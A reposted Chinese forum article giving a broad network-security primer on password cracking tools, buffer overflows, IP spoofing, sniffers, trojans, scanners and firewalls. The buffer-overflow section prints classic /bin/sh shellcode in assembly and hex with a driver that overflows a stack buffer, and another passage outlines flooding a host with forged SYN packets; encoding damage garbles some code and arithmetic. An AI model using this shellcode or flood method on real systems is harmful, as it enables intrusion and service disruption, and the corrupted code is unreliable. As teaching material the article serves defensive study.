找回密码
 注册
搜索
热搜: 回贴
微赢网络技术论坛 门户 安全攻防 查看内容

网络安全技术介绍

2009-12-14 01:14| 发布者: admin| 查看: 26| 评论: 0|原作者: 冰淇淋

网络安全技术介绍

1.口令的重要性
??当我们谈到网络安全的时候,就经常可以跟一个词联系到一起,那就是黑客。其实,我们印象中的黑客是带有偏颇的感情色彩的,比较明确的说法是叫做入侵者。
??黑客跟入侵者有什么区别呢?
??黑客,指对于任何计算机操作系统的奥秘都有强烈兴趣的人。“黑客”大都是程序员,他们具有操作系统和编程语言方面的高级知识,知道系统中的漏洞及其原因所在;他们不断追求更深的知识,并公开他们的发现,与其他人分享;并且没有破坏数据的企图。
??入侵者,是指怀着不良的企图,闯入甚至破坏远程机器系统完整性的人。 “入侵者”利用获得的非法访问权,破坏重要数据,拒绝合法服务器的请求,或为了自己的目的制造麻烦。“入侵者”很容易识别,因为他们的行为是恶意的。
??虽然这才是黑客和入侵者的确切含义,但是在我们的日常生活中,人们在讨论到“黑客”这个字眼的时候,还是带有强烈的贬义色彩,或者说我们大家都把黑客跟入侵者联系到了一起,本文所讲的内容就是关于大家概念上的黑客,这其中既包括善意的真正的黑客,也包括恶意的入侵者,对于这些区别,我们只要心里有数就可以了。
1.1 黑客攻击口令的手段
??在现实中,黑客攻击目标的时候,90%会把破译普通用户的口令作为第一步。先用“finger 远端主机名”找出主机上的用户帐号,然后用字典穷举法进行攻击。因为事实上,很多用户都把自己常用的英文单词或者自己的姓名作为口令。通过一些程序,自动地从计算机字典里面去单词作为用户的口令输入给远端的主机,尝试进入系统。这个破译过程由程序来完成的。大概10几个小时就可以把字典里的单词都完成。这类程序的典型代表是LetMeIn。
??如果这种方法不能奏效,黑客就会仔细地寻找目标的薄弱环节和漏洞,伺机夺取目标中存放口令的文件shadow或者passwd。在现代的UNIX系统中,用户的基本信息都是存放在passwd文件中的,所有的口令都经过DES加密后专门放在shadow文件中,处于严密的保护下。老版本的UNIX,的口令都在passwd文件中。一旦获得了这个文件,就可以用专用的破解DES加密算法的程序来解口令。
??我们的口令是否是安全的呢?
1.2 口令的取值范围
??在UNIX下,可以当作口令来用的字符一共有:10(数字) 33(标点符号) 26*2(大小写字母) =95个,如果口令取任意5个字母 1 位数字或符号的可能性是:52*52*52/*52*52*43=163亿,但是如果5个字母是常用的词,那么假设常用的词是5000个,考虑到大小写,将有可能性:5000*(2 2 2 2 2)*43= 688万 可能性。
??这已经可以利用微机来进行穷举了,这样的简单口令用不了3分钟就能破译,如果有人用P200进行攻击,那么一周内可以进行200次攻击,所以6位的口令是很不安全的。
??遗憾的是许多用户都是这么设定的,而黑客不需要破解所有用户的口令,他们只需要一个普通用户的口令就足够了,只要潜入系统,就可以利用系统的漏洞而获得系统的控制权,所以使用简单口令是对整个主机安全的不负责任。这是首先我们应该重视的问题。
??为什么口令的解密是相对比较容易的事情呢?就是因为目前广泛使用口令加密算法是完全公开的DES 算法,这种算法之所以公开,是因为一直都没有人能够找到一种方法能逆向解开它加密的信息。DES现在的加密算法在UNIX下的生成程序叫Crypt,它的源码在标准GUN分布式系统C库中可以找到。
??Cgypt的版本可能不同,但是它的一般的过程如下:
以明码正文(或密码术语)形式取出口令。
把口令作为关键字,用一系列的“0”进行加密(共64位)。编码结果成为加密正文
某些Crypt版本,尤其是Crypt (3),采用将上述结果再进行加密,可以说是相当坚固的。
??“密码算法(DES)把一个64位的二进制值转变成以56位变量为基础的、唯一的64位二进制值。如果只用全64位输入,并且如果56位变量是随机选取的,则除了用已知的DES输入输出值去尝试所有可能的关键字外,是没有什么技术能够发现DES选择的关键字的,因为56位的关键字存在超过 70000000000000000种可能性。”
??虽然DES加密算法如此坚固,但是想要解开它并不是很难,因为它可以通过比较法解开:
获得一个字典文件,该文件是一个真正的单词明码正文列表。
把这些单词用所有的加密程序进行解密,这种加密符合DES标准。
把每个加密的单词于目标口令比较,如果匹配,则该目标口令被破解的可能性超过90%。
??令人惊异的是,现在的很多解密程序都采用了相当好的规则来处理字表中的每一个单词,比如:
大小写交替使用。
把单词的正向、反向拼写后,接在一起。
在没个单词开头或者结尾加数字或符号。
交替使用字母和数字
??这些很好的规则虽然加大了破解的时间,但是破解成功的可能性也增大了。下面简单地介绍几个有名的破解程序。
1.3 几种口令解密程序
1.3.1 Crack
??破解UNIX口令的最著名的工具,现在已经成为了检查网络口令弱点的工业标准。它由Alec D.E.Muffett编写。可以免费得到,仅用于UNIX平台。在使用中,如果口令文件很小,时间和资源都不成问题,但是如果口令文件比较大,则要花费很长的时间和耗费相当的资源。它也可以把工作量分担到其他的机器上。它极其轻便,可能是最可靠的“口令入侵者”。
1.3.2 John The Ripper
??它是一个破解UNIX口令的程序,它运行于DOS/Windows平台上,虽然早期版本有些缺陷,但是它具有扩展选项,它糅合了许多其他程序都有的诸多优点和需要。它大有趋势要成为最流行的破解程序。
1.3.3 CrackerJack
??专门为DOS设计的、著名的UNIX口令入侵者。它不是Crack的直接移植,但是它运行速度极快,而且易于使用。这是一个偶像派的程序,最新版本用GUN C和C 编译,速度更快了。
1.3.4 Hades
??Hades是另一个破解UNIX中/etc/passwd文件口令的程序,运行速度比Crack快,比CrackerJack更快,它主要的用途在于显示加密口令中的薄弱口令,所以它的帮助很多,界面也友好,是个良文档。
1.3.5 Star Cracker
??它工作在DOS4GW环境中。它很有特别,具有断电预防措施,定时释放操作,它还具有良好的选项菜单,这个功能使破解过程非常容易。应该说是一个好的程序。
1.3.6 Killer Cracker
??它是另外一个非常著名的破解程序,几乎总是以源码来发表。可以在任何操作系统中运行,在UNIX系统下运行最好,可以操纵一些规则,包括大小写敏感规则。可以指定操作方法,包括按照什么顺序测试单词。BSD UNIX系统中可以独占CPU时间,还可以检查当前目标口令文件的非打印、控制字符。是个很完全的程序。
1.3.7 Claymore
??这个程序可以运行在任何Windows平台上,是一个功能强大的“入侵者”,不仅可以破解UNIX的/etc/passwd文件,还可以用于破解其他类型的程序(包括那些需要登录名/口的程序)它还有很多过于热情的功能,它是可以算得上是真正强大的破解程序。
1.3.8 Merlin
??它不是一个“口令入侵者”,而是一个管理工具,它管理“口令入侵者”,也管理扫描器、审查工具以及其他与安全有关的应用程序。它只用于LUINX平台,也可以用在其他的UNIX平台包括IRIX、SunOS、Solaris等。而且它的扩展性很好,人们可以把所有想的到的工具都加进去。它指导了一个重要的发展方向。
1.3.9 PGPCrack
??这是一个很有趣的工具,因为PGP算法是几乎无法直接破解的,但是Miller发现口令是一个很好的突破口,这个程序提供了一个口令文件和源代码,可以运行在DOS 和UNIX环境下。
??现在可以看出来,用户的口令是何等的重要,而且必须声明的是,最不安全的因素并不是超级用户的密码,而是普通用户的密码,因为一个好的黑客,很容易就能用普通用户的身份来寻找和利用系统中的漏洞获得超级用户的权限。所以我们必须要注意所有密码的管理,主要的要点是:
不要把口令写下来。
最好用8位的口令。
不要选取显而易见的信息做口令。
不要让别人知道。
不要在不同系统上使用同一口令。
输入口令时应在无人的情况下进行。
口令中最好要有大小写字母、字符、数字。
定期改变自己的口令。
定期用破解口令程序来检测shadow文件是否安全。
2.缓冲区溢出原理分析
??缓冲区溢出(buffer overflow)是一种系统攻击的手段,通过往程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它的命令,以达到攻击的目的。根据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。之所以缓冲区溢出可以实现的原因是系统程序没有检测用户输入的参数,也就是没有检测变量的长度是否符合要求。
??一个例子:
??example1.c
??void function(char *str) {
??char buffer[16];
??strcpy(buffer,str);
??}
??上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序出错。存在像strcpy()这样的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf(),以及在循环内的getc()、fgetc()、getchat()等。
??当然,随便向缓冲区里填东西造成它溢出一般只会出现”Segmentation fault”段错误,而不能达到攻击的目的。最常见的手段是通过是某个特殊的程序的缓冲区溢出而执行一个shell,通过shell的权限可以执行高级的命令。如果这个特殊的程序属于root且具有suid权限的话,攻击成功就能获得一个具有root权限的shell,就可以对系统为所欲为了。
??一个程序在内存中通常分为程序段,数据段和堆栈3部分。程序段里面放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是从内存低端到内存高端分别是:
程序段
数据段
堆栈
??当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存命令寄存器(IP)中的内容作为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,作为新的基地址;最后为本地变量留出一定空间,把SP减去适当数值。以下面的程序为例:
??example2.c
??void function(char *str) {
??char buffer[16];
??strcpy(buffer,str);
??}
??void main() {
??char large_string[256];
??int i;
??for(i=0;i<255;i )
??large_string[i] = ‘A’;
??function(large_string);
??}
??当调用函数function()的时候,堆栈的情况如下所示:
内存低端 buffer sfp ret *str 内存高端
←————[ ][ ][ ][ ] ————→
栈顶 栈底
??上面的程序执行的结果是”Segmentation fault (core dumped)”或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容’A’覆盖,包括sfp、ret,甚至*str。 ‘A’的十六进制值为0x41,所以函数的返回地址变成了0x4141414141,这超出了程序的地址空间,所以出现段错误。
??然而这样还不能得到我们想要的结果,我们必须在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其它命令的目的,如下图:
内存低端 buffer sfp ret *str 内存高端
←————[ ][ ][ ][ ] ————→
栈顶 ^ | 栈底
|————————————————|
??通常我们想要运行的程序是一个用户shell。下面是一段写的非常漂亮的shell代码:
??example3.c
??void main() {
??_asm_(“
??jmp 0x1f # 2 bytes
??popl % esi # 1 byte
??movl % esi,0x8( % esi) # 3 bytes
??xorl % eax,陎 # 2 bytes
??movb % eax,0x7( % esi) # 3 bytes
??movl % eax,0xc( % esi) # 3 bytes
??movb $ 0xb,% al # 2 bytes
??movl % esi,% ebx # 2 bytes
??leal 0x8( % esi), % ecx # 3 bytes
??leal 0xc( % esi), % edx # 3 bytes
??int $ 0x80 # 2 bytes
??xorl % ebx,離 # 2 bytes
??movl % ebx,% eax # 2 bytes
??inc % eax # 1 bytes
??int $ 0x80 # 2 bytes
??call -0x24 # 5 bytes
??.string “/bin?sh ” # 8 bytes
?? # 46 bytes total
??“);
??}

??将上面的程序用机器码表示即可以得到以下的十六进制shell代码字符串。如下:
??example4.c
??char shellcode[]=
??“ xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b”
??“ x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd”
??“ x80 xe0 xdc xff xff xff/bin/sh”;
??char large_string[128];
??void main() {
??char buffer[96];
??int i;
??long *long_ptr = (long * ) large_string;
??for (i = 0; i < 32; i )
??*(long_ptr i) = (int) buffer;
??for (i = 0; i < strlen(shellcode); i )
??large_string[i] = shellcode[i];
??strcpy(buffer,large_string);
??}
??这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分,然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容是shell代码,这样当程序试从strcpy()中返回的时候,就会转而执行shell。
??但是如何知道缓冲区的地址,并在那里放shell代码到large_string的前面部分呢?由于每个程序的堆栈起始地址是固定的,所以自然想到可以利用反复重试缓冲区相对于堆栈起始位置的距离来得到。但是这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP后程序将激活shell进程,这样就大大地增加了猜中的可能性。
??应该说,这种缓冲区溢出的技术是很奏效的,也是很多黑客和入侵者采用的惯用手段,因为它不是正常登录的超级用户权限,所以几乎没有任何记录。对于我们网络管理人员,应该了解它的原理和方式,而且一个重要的作用就是,当你不小心遗忘了超级用户口令的时候,你可以尝试采用这种方式重新获得超级用户的权限,这是一种很不错的方法。
??目前对缓冲区溢出的防范来看,根本办法就是完善程序,使函数无懈可击。要注意及时地打各种patch,从根本上杜绝函数的漏洞,作为应急的办法,可以把有危险的程序的Suid位去掉,需要的时候再临时加上。
3.网络端口攻击和安全
??网络端口攻击,是一种常见的方法,因为在Internet主机上有很多通用端口,比如21是ftp的端口,25是SMTP的端口,23是TELNET的端口,70是gopher的端口,200是ftp传送数据的端口等。通过这些端口的攻击会使对方主机产生难以预料的后果。
3.1 IP Spoofing
??IP Spoofing是通过向主机发送IP包来攻击的,攻击过程是这样的:
攻击端→SYN(伪造的自己的地址)→被攻击端
伪造的地址←SYN-ACK←被攻击端
被攻击端等待回答。
??一个简单的SYN attack攻击的方法就是利用NetXRay软件首先产生一个正常的SYN attack,再把那个SYN attack修改一下,找出关于source IP的那个offset,修改成任意的IP,然后找出关于校验和的地址,把校验和改好,然后把包拷贝起来,用NetXRay的发送包的工具,一秒钟给它送几千个SYN attack到对方,可以让对方机器瘫痪没有再接受别人连接请求的能力。
??在一个ip包的ip选项域中,有两类的“源搜索”(source routing)功能项可以选择:
LSRR(loose soutce & record routing)自由源和记录路径。
SSRR(strict source & record routing)精确源和记录路径。
??设计这个功能是为了方便网络故障调测的需要。当一台主机收到包含ISRR或者SSRR包后,它会把这个包中含有的目的地址读出来,并直接把这个包送往目的地址。这样就可能产生危险。
??比如你用防火墙系统来保护你自己的企业内部不受干扰。正常的时候,多有的数据包的进出都在防火墙的控制下,如果你的防火墙要是允许调测包,那么外部网的攻击者都可以简单地发送调测包从外部网络送到内部网,从而逃避了防火墙地监控,但是现在大部分的商用防火墙已经都禁止调测包通过了。
3.2 TCP端口的检测
??随着使用的深入,要快速了解某台主机究竟提供了多少项服务的需求越来越多。端口检测技术就给这种需求提供了一种解决方案,但是这种技术也常常被黑客利用,成为一个攻击的辅助手段。
??SATAN是一个通过完整的3步协商与每个TCP端口建立连接:
主叫向被叫发送一个TCP包,其中的SYN标志位为1。
被叫端口如果是打开的,就向主叫返回一个包,其中SYN和ACK标志位是1。如果是关闭,被叫就返回一个带有RST标志位的包来断掉这次连接。
主叫发送一个ACK为1的包。
??但是这种检测非常容易被察觉到,后来又称为“半打开检测”的方法,不是通过完整的步骤来检测一个端口,而是只发送SYN包,等待返回的SYN&ACK或者RST包。这样就难以发现了。缺点是要自己制定IP包,并且需要有超级用户权限来访问接口设备。
3.3 Sniffer
??Sniffer既可以是硬件,也可以是软件,用来接收网络上的传输的信息。放置sniffer的目的是使网络接口处于广播状态,这样就可以截获网络上传输的内容了。
??Sniffer 就是这样的一个软件,能够“听”到(而不是忽略)网络上所有的信息。在这种意义上来说,每一个机器,每一个路由器都可以成为一个sniffer,或者说它们可以成为一个sniffer。这些信息就被存储在介质上,以备日后检查时用。
??它可以成为一种很大的危险,因为:
它们可以截获口令。
它们可以截获秘密的或者专有的信息。
它们可以被用来攻击相邻的网络。
??Sniffer被用来代表很高级别的危险,安全家们把它列为第2级的攻击。入侵者已经侵入了网络,正在以准备做进一步的攻击。它可以截获的不仅是用户的ID和口令。还可以截获敏感的经济数据、秘密信息和专有信息。当然很明显的,把信息加密是一个很好的处理办法。
??它存在于任何一种平台之上。即使不这样,它也是一种潜在的威胁。这是因为,它截获包,不是截获机器,除非你的网络是完全内部的,否则就有可能存在Sniffer。一个监视全网络传输的Sniffer仅需要存在于网络的一个节点上,这是由于Ethernet的广播方式决定的。因为传输的信息是向全网所有的节点广播的,所以你所处的任何平台都可以作到的。
??所幸的是使用Sniffer并不很简单,在设置它之前,需要很多的网络知识,如果仅仅设置一个Sniffer就离开的话,会碰到很多的问题,在很短的时间里,Sniffer的输出文件就可能占满你的所有硬盘空间,所以一般的黑客只用它来截获每个包的前200到300个字节。
??下面介绍几个Sniffer:
Gobbler
对想了解网络的一些人来说,Gobbler是最好的,它在MS-DOS平台运行,也可以在Windows环境里运行。它的界面不是很友好,这是大多数黑客工具的特点。但是得到它并不是十分容易。它的特点是包含着一些比较复杂的包过滤功能,还可以查看每一个包的源地址和目的地址而不用费太大的力气。
ETHLOAD
用C写的,用于Ethernet和令牌网的免费的Sniffer,分析以下的协议:
TCP/IP
DEC net
OSI
XNS
NetWare
NetBEUI
对于一个在Dos/Novell平台上运行的免费的Sniffer来说,它可能是最有力的工具,它也很容易得到。
Esniff.c
它是一种以源代码形式发表的Sniffer程序,主要是设计来自SUNOS平台上截获包传输。对入侵者来说,它可能是最流行的,它也被设计成仅仅截获每个包的开头部分。
Sunsniff
Sunsniff是为SunOS平台设计的。包括513行源代码。在Sun工作站上运行的很好,但是不会很好地移植到别的平台上。用它做实验是很不错的选择。
??在网络上,能不能发现Sniffer呢?答案是几乎不能,因为可以想象,这样的一个仅仅是被动的程序,在网络上就是“听”,根本不留下任何痕迹,只有去检查是否有一个进程从你自己的机器上被启动,或者详细查找Sniffer的程序,这几乎是件很不可能的事情。
??但是可以通过加密来使Sniffer截获到的包失去意义,有一个产品SSH可以办到这点,它绑定的端口号是22,用到的算法是RSA。这是很方便的一个选择。
4.特洛伊木马
??特洛伊木马(trojan horse)是一种一个巧妙躲开Internet安全机制的方法,没有其他办法能像它这样破坏系统,也没有其他办法比它更难以发现。
4.1 特洛伊程序的定义
??什么是特洛伊木马程序呢?
??特洛伊木马程序是这样的一种程序,它提供了一些有用的,或仅仅是有意思的功能。但是它还提供了许多用户所不希望的功能,这些功能往往是有害的。因而就印发了一个如果和检测特洛伊程序的问题。假如我写了一个程序,它可以检测出别的程序是否在格式化硬盘。可以称那些试图格式化硬盘的程序为特洛伊程序么?显然,如果这些程序本身就是用来格式化硬盘的,它不是特洛伊程序,但是如果用户在使用该程序的时候并不希望格式化硬盘,它就是一个特洛伊程序了。
??由此可以知道,问题的实质是判断一个程序的功能与用户的使用该程序的目的是否一致。但是要确定用户使用程序的目的是很难的。
4.2 特洛伊程序的种类
??特洛伊程序的种类是很多的,但是一个根本的特征就是欺骗性地使用户上当,使得设计者达到他自己的目的。
??一个例子是有这样的一种程序,它在使用的时候,它代替了系统登录的程序login。这样当用户登录到这台有问题的机器的时候,显示的仿佛一切都很正常,让你输入用户名和口令,在你熟练地输入了一次以后,它显示用登录错误并要你重新输入,这个时候,它已经把自己撤掉了,换上正常的系统的login程序,这个时候一般的情况下,你是不会有什么怀疑的,你也许还以为是自己输入错误了,就再认真小心地重新输入了一次,这次进去了,你没有任何怀疑,然而你的口令已经被程序所记录下来了,或者发到入侵者的信箱里,或者存储在磁盘上,一切都是那么巧妙,都是在程序员的设计下进行的。你已经上当了。
??这就是一个典型的特洛伊程序。
??另外一种特洛伊程序也一样是十分隐蔽的,这种特洛伊程序加高超,它可以将UNIX下常用的命令给特洛伊化,使得出现这样的情况,比如ls命令,它就可以替代真正的ls命令,而这个假的ls命令的功能跟真的一模一样,唯一的不同在于它可以隐藏入侵者指定的目录或者文件,一旦被这种特洛伊程序给特洛伊化了,是很难察觉的,谁会老是没有事情就去看看系统的ls程序有多长,是否被别人改动过呢?你会这样做么?
??由于特洛伊程序的欺骗性质,使得它非常难以发现,往往都是偶然的时候才能发现。
??在Window平台上,一个有名的特洛伊程序叫做Netbus,它是个小火炬一样的图标,当你执行它的时候,机器好象什么也不做,仅仅是等待一会就没反应了,但是这个时候,它已经把自己复制到了Windows目录下面了,并且修改了注册表,使得每次启动Windows的时候可以自动执行它,但是你又看不出来。然而它的危害是相当的明显的,不是使系统崩溃,而是使别的人可以控制你的机器,包括键盘,鼠标,上传或下载文件,执行程序,重新启动,抓屏幕等等,可以说几乎是想干什么就干什么。
??这个程序的弱点就是必须要你来执行一个客户端程序,但是如果一个警惕性很高的人是不会随便地去执行一个莫名其妙的程序的,尤其是执行它以后什么反应都没有,就更加让人怀疑,假如执行了它以后,它自己把自己给删除的话呢,那更加的此地无银三百两了。所以的Netbus的升级版本2.0版,附加了一个俄罗斯方块游戏,带有的欺骗性质更大。对于前一个低的版本来说,杀毒软件也能清理,如果要手工清除的话,需要查找注册表,把相关的东西都删除,就可以了。
4.3 特洛伊程序的危险度和防范方法
??特洛伊程序代表着的是很高级别的危险,主要是因为我们已经讨论过的原因:
特洛伊程序很难被发现
在许多情况下,特洛伊程序是在二进制代码中被发现的,它们大多数以无法阅读的形式出现。
特洛伊程序可以作用于很多机器中。
??如果系统管理员对安全知识了解的不是很多,那么特洛伊程序是相当危险的,以为一个特洛伊程序可以导致系统整个被侵入。在它被发现以前,可能已经存在于系统当中有几个星期了,甚至几个月的时间。在这段时间内,一个具备了root权限的入侵者,可以将系统按照他的需要加以修改。这样即使这个特洛伊程序被发现了,在系统中也留下了系统管理员完全没有注意到的漏洞。
??防范特洛伊程序的方法很多,主要是对照以前的备份的程序文件来进行对比,这不是一个很好的办法,因为好的入侵者还是可以更改修改过的系统文件的,不论是日期还是大小,甚至是文件整个的校验和。
??比较好的用来检测特洛伊程序的技术是MD5,它可以为每一个文件生成一个数字签名,当一个文件运行于MD5产品中的时候,产生一个32位字符组成的签名,当你浏览那些使用了这种技术的站点的时候,可以检查每个文件的数字签名,如果发现签名与原来的不一样,就有99.9%的可能是有问题。
??我们常常把特洛伊程序与病毒等同起来。当然,他们在某种程度上是十分相似的,但是这并不是一类事物。的确,在基于PC的操作系统上,特洛伊程序一般是与病毒有关的,但是在UNIX系统下,是完全不同的情况。在UNIX系统上是完全不同的情况。在UNIX平台上,入侵者往往利用特洛伊程序来冲破安全线而不破坏数据,或者加入这样或那样未经过授权的代码。
??在各种情况下,有一点是十分清楚的,即特洛伊程序对于任何服务器与之相连的机器而言是一个非常大的危险。因为基于PC的服务器在Internet上越来越普及,必须开发那些可以检测到特洛伊程序的工具才可以慢慢解决。
5.扫描器
5.1 扫描器介绍
??在Internet安全领域,扫描器是最出名的破解工具。据说一个好的TCP/IP扫描器相当于一千个用户口令的价值。
??扫描器是自动检测远程或本地主机安全性弱点的程序。通过使用一个扫描器,郑州的用户可以不留痕迹地发现远在广东的一台服务器的安全性弱点。
??真正的扫描器是TCP端口扫描器,这种程序可以选通TCP/IP端口和服务(比如,Telnet或FTP),并记录目标的回答,通过这种方法,可以搜集到关于目标主机的有用信息。
??扫描器一般是为UNIX平台编写的,但是现在已经有了用于任何操作系统的扫描器。由于大部分操作系统转向Internet,所以这对NT市场的发展是一个很大的促进。
??扫描器能发现目标主机的某些内在的弱点,这些弱点可能是破坏主机安全性的关键因素。但是,要作到这一点,你必须了解如何识别漏洞。许多扫描器并没有提供多少指南。因此,数据的解释很重要。
??扫描器是合法的。这些扫描工具通常在公共范围内公布,以便系统管理员可以检查自己系统的弱点。然而,尽管拥有和使用扫描器不违法,但是如果你不是一个系统管理员,却使用扫描器检查目标主机,那就不是很好的做法了。
??扫描器对于Internet的安全性之所以重要,是因为它们能发现网络的弱点。至于这一信息是否被黑客利用并不重要,以为如果系统管理员使用了扫描器,它将直接有助于加强系统的安全性,如果它被“入侵者”利用,也同样有助于加强系统的安全性,因为一旦某个“漏洞”被黑客利用,最终人们还是能发现的。如果系统管理员认为有扫描器落在“入侵者”手里对安全性不利,这是不确切的,如果一个系统管理员不能使其网络足够安全,那么他(或她)的工作失误就会以网络安全漏洞的形式暴露出来。
5.2 网络应用程序和扫描器
??有时我们会把网络应用程序和扫描器弄混淆,实际上,有许多网络应用程序的功能或多或少地与真正的扫描器相同。
??网络应用程序运行在不同的平台上,大多数出自UNIX环境。每个程序对“黑客”和“入侵者”都有价值,许多老的网络应用程序会留给用户很多信息,但是这额程序确实不会引起人的怀疑。其中许多程序对于目标主机是不可见的,而扫描器则留下了大量的“足迹”或证据。
??Host,是UNIX的专用程序,执行的操作本质上与标准的ns lookup相同,但是host 更全面一些。它可以查询到很多对于黑客来说很有用的东西,用防火墙技术可以防止这些信息的查询。
??Traceroute,是跟踪两台机器间的路由。利用这个网络应用程序,可以识别一台机器的地址。
??Ruses finger,这两个命令可以一起使用,来搜集网络上的某个用户的信息。
??Show mount,它可以发现远程主机的一些非常有用的信息。最重要的是通过加入-e命令选项,它还可以提供指定目标上所有对外目录的清单。
??上面的四个UNIX应用程序都不是扫描器,但是它们都能发现目标的重要信息。
??Windows上支持许多网络分析程序,下面给出一些例子:
NetScan工具
包括WHOIS、finger、ping和Traceroute。
Network工具箱
包括finger、DNS、WHOIS等
TCP/IP检测程序
收集网络和机器的信息,而且把它们用图形形象地表示出来。
这些网络应用程序对于用户总是可用的,即使扫描器不是如此。而且,因为越来越多的新用户使用Internet,所以用于分析网络连接的应用程序在所有的平台上都将很普遍。
5.3 扫描器的种类
5.3.1 NSS (网络安全扫描器)
??NSS是一个非常隐蔽的扫描器。如果你用流行的搜索程序搜索它,能发现的入口不过20个,这不意味这它使用不广泛,而是意味着载有它的FTP站点大部分都在暗处。
??NSS的特点就是他是用Perl语言编写的,这是一种解释性质的语言,不需要C编译器。
??NSS的最根本的价值在于它的速度非常快,它可以执行下列常规检查:
Sendmail
匿名FTP
NFS出口
TFTP
Hosts.equiv
Xhost
??它执行的结果的进程是:
取得指定域的列表或报告,该域原本不存在这类列表。
用ping命令确定指定的主机是否活动
扫描目标主机的端口
报告指定地址的漏洞。
5.3.2 Strobe
??Strobe是一个TCP端口扫描器,它可以记录指定的机器的所有开放端口。Strobe运行速度非常快。
??Strobe的主要的特点是它能快速识别指定机器上正在运行什么服务,不足之处是这类信息是很有限的,一次Strobe的攻击充其量可以提供给“入侵者”一个粗略的指南,告诉什么服务可以被攻击。
5.3.3 SATAN
??SATAN是计算机领域的一件珍品,它完全是一个软件包,是为UNIX工作站编写的,具有良好的用户界面,具有HTML接口。能以各种形式选择目标,可以显示结果表格,是一个与众不同的程序。
??SATAN的两位设计者是极具天赋的程序员、黑客和Internet安全权威。
??SATAN是经过压缩的,在全世界可用。它是为改进网络安全性而编写的。正因为如此,它不仅必须在UNIX环境下运行,而且需要运行它的人有超级用户权限。
5.3.4 IdentTCPscan
??IdentTCPscan是一个更加专业化的扫描器,其中加入了识别指定TCP端口进程的所有者的功能,也就是说,它能测定该进程的UID。
??这个程序具有很重要的功能就是通过发现进程的UID,很快识别出错误配置。
??它的运行速度非常快,它可以称得上是入侵者的宠物,是一个强大、锐利的工具。该程序在各种平台上都能运行,一般也是压缩以后的代码,用C语言写成,非常紧凑。
5.3.5 SAFEsuite 示范扫描
??我们利用SAFEsuite的产品进行示范扫描。这个产品是由ISS开发的,ISS以名为ISS的产品而闻名于Internet世界,这个产品是首批商品化的自动扫描器之一。
??ISS具有作为Internet安全重要工具的特点。在上千个站点中,可以找到ISS各种不同的版本和形式。它深受“黑客”和“入侵者”的欢迎,它轻巧,易于在几乎任何基于UNIX的平台上编译。从ISS的首次发表开始,该程序便难以置信地流行,而ISS的开发小组不断的改进这个产品,使之小型化,可移植。
??SAFEsuite由几个扫描器组成:
intranet扫描器
Web扫描器
防火墙扫描器
??SAFEsuite在配置上、管理、实现方面与SATAN很相似,该程序的使用是在GUI的环境中,同样可以方便快速地观察结果信息。它运行在Microsoft的平台上,使得它非常流行。
??SAFEsuite可以对指定网络执行各种不同的攻击,其中包括对下列服务进行诊断:
Sendmail
FTP
NNTP
Telnet
RPC
NFS
??而且ISS小组还增加了IP电子欺骗(spoofing)和服务否定攻击,以支持对主机脆弱性的分析(这一点十分重要,尽管有人怀疑了解主机受到攻击的时候的脆弱性是否重要,很少有平台可以抵御这种攻击)。
??按照ISS的工作人员所说:“SAFEsuite是最快的、最全面的、先进的UNIX网络安全扫描器。它安装容易,扫描迅速、报告全面。SAFEsuite模仿“黑客”采用的技术,来探测一个网络环境中特定的安全弱点。依靠你选择的报告选项,SAFEsuite可以给你提供有关发现的每一个弱点的下列信息:地址、深层描述,以及建议的改进措施。”
??新的扫描器在Internet上以很快的速度不断出现,而且它们的功能还会比以前的产品更加强大。
??每当发现一个新的漏洞,检查这个漏洞的功能就会被加进已有的扫描器中,这个过程并不复杂。在许多情况下,“入侵者”是需写一小段额外的代码,然后把它家到已经有的扫描器源代码中,重新编译后即可。“入侵者”就是经常这样利用新的漏洞的,这个过程永远不会结束。
??系统管理人员必须学会使用扫描器,这是残酷的现实。那些不这样做的管理人员将会承担严重的后果。扫描器会教育新的系统管理员警惕潜在的安全危险。这是由于这个原因,扫描器Internet安全的重要因素,建议大家要尝试使用尽可能多的扫描器。
6.防火墙
6.1 防火墙的概念和组成
??防火墙是阻止外面的人对你的网络进行访问的任何设备,此设备通常是软件和硬件的组合体,它通常根据一些规则来挑选想要或不想要的地址。
??防火墙最基本的构件既不是软件也不是硬件,而是人的思想,即“谁”和“什么”能被允许访问本网络。从这个意义上来说,构造一个好的防火墙需要艺术、直觉、创造和逻辑的共同作用。
??防火墙既可以由软件构成,也可以由硬件、软件构成。软件部分可以是专利软件、共享软件或免费软件,而硬件部分是指能支持软件部分运行的任何硬件。
??如果防火墙是硬件,那么这个硬件可能最多由一个路由器构成。路由器有先进的安全特性,包括过滤IP数据报的能力。这种过滤功能允许你 定义包含哪些IP地址的数据报可以通过防火墙,哪些不能。
??不管防火墙是怎样组成的,他们都有一个共同的特征:基于源地址基础上的区分或拒绝某些访问的能力。
6.2 防火墙的各种类型
??目前存在很多种类的防火墙,每种都有各自的优缺点,最常见的是一种称为“网络层防火墙”的防火墙。网络层防火墙通常以路由器为基础,是由路由器决定“谁”和“什么”能访问你的网络。这种方案采用了一种所谓的“数据报过滤”技术,即检查到达路由器的外部数据报并作出选择的技术。
??以路由器为基础的防火墙要对每个联结请求的源地址进行检查。确认了每个IP源地址后,防火墙构造者所指定的规则将被实施。比如构造者规定不接受来自微软公司的任何数据报,于是这些数据报便无法到达内部网或内部服务器。
